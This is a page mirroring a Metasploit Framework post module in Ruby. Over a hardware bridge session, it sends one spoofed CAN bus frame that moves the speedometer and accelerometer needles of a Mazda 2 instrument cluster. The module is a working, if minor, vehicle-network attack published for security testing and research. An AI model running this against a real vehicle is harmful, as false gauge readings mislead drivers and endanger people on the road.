CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/post/hardware/automotive/mazda_ic_mover.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Post
7
8
def initialize(info = {})
9
super(
10
update_info(
11
info,
12
'Name' => 'Mazda 2 Instrument Cluster Accelorometer Mover',
13
'Description' => %q{ This module moves the needle of the accelorometer and speedometer of the Mazda 2 instrument cluster},
14
'License' => MSF_LICENSE,
15
'Author' => ['Jay Turla'],
16
'Platform' => ['hardware'],
17
'SessionTypes' => ['hwbridge']
18
)
19
)
20
register_options([
21
OptString.new('CANBUS', [false, 'CAN Bus to perform scan on, defaults to connected bus', nil])
22
])
23
end
24
25
def run
26
unless client.automotive
27
print_error('The hwbridge requires a functional automotive extention')
28
return
29
end
30
print_status('Moving the accelorometer and speedometer...')
31
client.automotive.cansend(datastore['CANBUS'], '202', '6001606060606000')
32
end
33
end
34
35